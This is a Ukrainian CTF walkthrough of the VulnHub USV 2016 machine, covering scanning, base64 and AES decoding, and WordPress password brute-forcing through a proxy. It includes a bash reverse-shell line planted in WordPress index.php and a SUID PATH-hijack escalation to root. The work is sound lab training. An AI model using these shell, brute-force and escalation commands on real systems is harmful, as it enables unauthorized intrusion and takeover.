VulnHub: USV 2016. CTF в Румунії, які вони?


Всім доброго часу доби, у цій статті розглянемо рішення Румунської CTF-USV 2016 на тему: «Гра престолів». Завантажити образ віртуальної машини можна посилання з VulnHub.
Якщо вам цікаво як проходять міжвузівські CTF в Румунії, прошу під кат

Трохи про CTF
CTF-USV 2016 was the first International Students Contest in Information Security organized in Romania by Suceava University. Security challenges creation, evaluation of results and building of CTF environment was provided by Safetech Tech Team: Oana Stoian (@gusu_oana), Teodor Lupan (@theologu) and Ionut Georgescu (@ionutge1)
Всього є 7 прапорів, наступного формату: Country_name Flag: [md5 hash].

Почнемо!
Вивчимо мета nmap'ом:
$ sudo arp-scan -l -I wlan0 | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2017-01-15 19:47 MSK
Nmap scan report for 192.168.1.102
Host is up (0.00057 s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.3 (protocol 2.0)
80/tcp open http Apache httpd
3129/tcp open http-проксі Squid http proxy 3.5.22
3306/tcp open mysql MariaDB (unauthorized)
4444/tcp open http Foundry EdgeIron switch http config
21211/tcp open ftp vsftpd 2.0.8 or later
MAC Address: 08:00:27:2B:64:55 (Oracle VirtualBox virtual NIC)
Service Info: Host: SevenKingdoms; Device: switch
І приступимо до взяття прапорів…

Flag 1 (Croatia)
З першим прапором, все просто. Запускаємо nikto, який відразу нас інформує про наявність незвичайного заголовка:
$ nikto -h 192.168.1.102

+ Uncommon header 'x-xss-protection' found, with contents: Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxndm5ogflyjc1mdq0ztljzdrjmgviyg==
Декодируем його:
$ echo Q3JvYXRpYSBGbGFnOiAwYzMyNjc4NDIxndm5ogflyjc1mdq0ztljzdrjmgviyg== | base64 -d
Flag Croatia: 0c326784214398aeb75044e9cd4c0ebb


Flag 2 (Italy)


Ось такого дракона можна побачити при підключенні ssh. А в самому низу зашифровану рядок:
wDOW0gW/QssEtq5Y3nHX4XlbH/Dnz27qHFhHVpMulJSyDCvex++YCd42tx7HKGgB
При уважному огляді можна помітити, наявність деяких букв, з яких складається зображення. Склавши всі разом отримуємо:
AES ECB xxxxx0000000xxxxxx
Алгоритм, ключ і зашифроване повідомлення у нас є, наприклад тут, розшифровуємо і отримуємо другий прапор:
Flag Italy: 0047449b33fbae830d833721edaef6f1

Flag 3 (Portugal)
Переходимо до web. У нас є сайт (80 порт), і є проксі (3129 порт). Вказавши у налаштуваннях адресу і порт проксі-сервера, в даному випадку — атакується машини, відкриваємо сайт:


Не багато, продовжимо:


Звичайний WordPress, нічого примітного. Відкривши індексну сторінку, потрапляємо в блог, з кількома статтями про «Грі престолів». Перше, що кидається в очі, це наступна публікація:


Відкривши це зображення, помічаємо, що воно розташоване в директорії hodor:


Перейшовши яку, нам пропонують завантажити архів:

В архіві нас чекає зображення:


Та прапор:
$ echo UG9ydHVnYWwgRmxhZzogYTI2NjNiMjMwndvkztu2yzdlotzhnda2ndi5zjczm2y= | base64 -d
Portugal Flag: a2663b23045de56c7e96a406429f733f


Flag 4 (Paraguay)
В самому низу сторінки, увагу привертає ось такий пост:


Парсим сайт, і збираємо словник з паролями для брутфорса:
cewl --proxy_host 192.168.1.102 --proxy_port 3129 http://192.168.1.102/blog/ > blog.lst

Запустивши перебір, через деякий час, patator видає вірний пароль:
$ patator http_fuzz http_proxy=192.168.1.102:3129 url='http://192.168.1.102/blog/wp-login.php?action=postpass' method=POST header='Referer: "http://192.168.1.102/blog/index.php/2016/10/16/the-secret-chapter/"' body='post_password=FILE0&Submit=Enter' 0=blog.lst -x ignore:fgrep='post-password-form' follow=1 accept_cookie=1



Вводимо його і отримуємо доступ до вмісту цієї публікації:

Декодируем розташовану тут base64 рядок і отримуємо новий прапор:
$ echo UGFyYWd1YXkgRmxhZzogNDc2MWI2NWYymda1mzy3ndy1n2m3ztyxody2mjhhmjk= | base64 -d
Paraguay Flag: 4761b65f20053674657c7e6186628a29


Flag 5 (Thailand)
Якщо вірити вмісту цього посту, то пароль у нас прям перед очима, так, картинка тут явно в тему. Але якщо уважно придивитися, то нижчою є фраза:
She uses the Field Training Preparation army for her.
Відмінно, де авторизовуватись ми знаємо, залишився пароль. Спочатку я пробував ввести окремі слова, потім, додав туди обривки фраз, і незабаром hydra знайшла те, що потрібно:


Підключаємося:
$ ftp 192.168.1.102 21211
ftp> ls -ahl
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 .
dr-xr-xr-x 2 1000 1000 4096 Dec 05 20:05 ..
-rw-r--r-- 1 0 0 94 Dec 05 20:04 .note.txt
-rw-r--r-- 1 0 0 32 Dec 05 20:05 readme.txt
226 Directory send OK.

Завантажуємо всі доступні файли, потім будемо їх вивчати:
ftp> get readme.txt
local: readme.txt remote: readme.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for readme.txt (32 байт).
226 Transfer complete.
32 bytes received in 0.00 secs (226.4 kB/s)
ftp> get .note.txt
local: .note.txt remote: .note.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .note.txt (94 bytes).
226 Transfer complete.
94 bytes received in 0.00 secs (791.4 kB/s)

У першому файлі нічого цікавого:
readme.txtI keep a hidden note for myself
А ось другий вартий уваги:
.note.txtI always forgot passwords, so for my blog account I used my children's name.

-= Daenerys =-

Ми дізналися підказку до пароля — це імена її дітей, google швидко підказав, про яких дітей йдеться і як їх звуть. Тому запустивши crunch приступаємо до генерації словника:
$ crunch 1 1 -p Rhaegal Viserion Drogon > dragons

Відправляємо це в wpscan для перебору:
$ sudo ./wpscan.rb --proxy 192.168.1.102:3129 --url http://192.168.1.102/blog/ --username mother_of_dragons --wordlist dragons



Через деякий час, отримуємо пароль від адмінки WordPress. Авторізуємось, і в профілі користувача знаходимо наступний прапор:


$ echo VGhhaWxhbmQgRmxhZzogNmFkNzk2NWQxzta1y2e5ogizzwzjnzzkymy5zmq3mzm= | base64 -d
Thailand Flag: 6ad7965d1e05ca98b3efc76dbf9fd733


Flag 6 (Mongolia)
Як виявилося, Daenerys має в цьому блозі права адміністратора, так що подредактировав файл index.php, зробимо собі шелл, додавши рядок:
system('bash -i >& /dev/tcp/192.168.1.124/4444 0>&1');

Запускаємо netcat, перезавантажуємо сторінку в браузері, і отримуємо шелл:


Озирнувшись в системі, увагу привертає файл reward_flag.txt, в директорії веб-сервера:
[http@arch blog]$ ls -ahl ../
total 92K
drwxr-xr-x 3 root root 4.0 K Nov 17 15:43 .
drwxr-xr-x 4 root root 4.0 K May 31 2013 ..
drwxr-xr-x 6 http http 4.0 K Jan 15 19:52 blog
-rw-r--r-- 1 root root 59K Nov 16 19:59 gtr.jpg
-rw-r--r-- 1 root root 3.2 K Nov 16 20:01 index.html
-rw-r--r-- 1 root root 65 Nov 17 15:41 reward_flag.txt
-rwsr-sr-x 1 root root 8.3 K Nov 17 14:55 winterfell_messenger

Відкриємо його, судячи з усього, там має бути прапор:
[http@arch blog]$ cat ../reward_flag.txt
TW9uZ29saWEgRmxhZzogNmI0OWMxM2Njy2q5mtk0mgywowq3owuxndixmdgzotq=
[http@arch blog]$ echo TW9uZ29saWEgRmxhZzogNmI0OWMxM2Njy2q5mtk0mgywowq3owuxndixmdgzotq= | base64 -d
Mongolia Flag: 6b49c13cccd91940f09d79e142108394


Flag 7 (Somalia)
В директорії з останнім прапором лежить ще якийсь додаток winterfell_messenger, яке судячи з наявності SUID біта, ймовірно допоможе підвищити свої привілеї в системі. Запустимо його і подивимося що воно робить:
[http@arch http]$ ./winterfell_messenger
cat: /root/message.txt: No such file or directory

Так, а що на рахунок рядків?
strings ./winterfell_messenger
[http@arch http]$ strings ./winterfell_messenger
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-8
AWAVA
AUATL
[]A\A]A^A_
cat /root/message.txt
;*3$"
GCC: (GNU) 6.1.1 20160802
GCC: (GNU) 6.2.1 20160830
init.c
crtstuff.c
__JCR_LIST__
deregister_tm_clones
__do_global_dtors_aux
completed.6916
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
__FRAME_END__
__JCR_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_edata
system@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__TMC_END__
setuid@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment

Навіть реверсить не потрібно, у нас є setuid, system, який використовує відносний шлях для команди cat, документації до system відомо, що:
system() виконує команди, вказані в string, викликаючи в свою чергу команду /bin/sh -c string, і повертається, коли команда виконана.
Загалом, діємо за вже знайомому алгоритмом:
[http@arch http]$ PATH=/tmp:$PATH
[http@arch http]$ echo "/bin/bash" > /tmp/cat
[http@arch tmp]$ chmod +x cat

Запускаємо вразливу програму і отримуємо шелл:
[http@arch tmp]$ /srv/http/winterfell_messenger
/srv/http/winterfell_messenger
id
uid=0(root) gid=33(http) groups=33(http)

У теці root знаходимо останній прапор:
echo U29tYWxpYSBGbGFnOiA0YTY0YTU3NWJlodbmogzmywiynmiwnme5nthiy2yzna== | base64 -d
Somalia Flag: 4a64a575be80f8ffab26b06a958bcf34

І приймаємо вітання:


Як зазначено в описі, це їх перший CTF. Для першого разу зійде, але повторювати не варто, будемо сподіватися вони і далі будуть розвивати цю тему, додаючи більш складні завдання, адже в реальному житті, на жаль, банальним сканом директорій вже нікого не здивувати.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.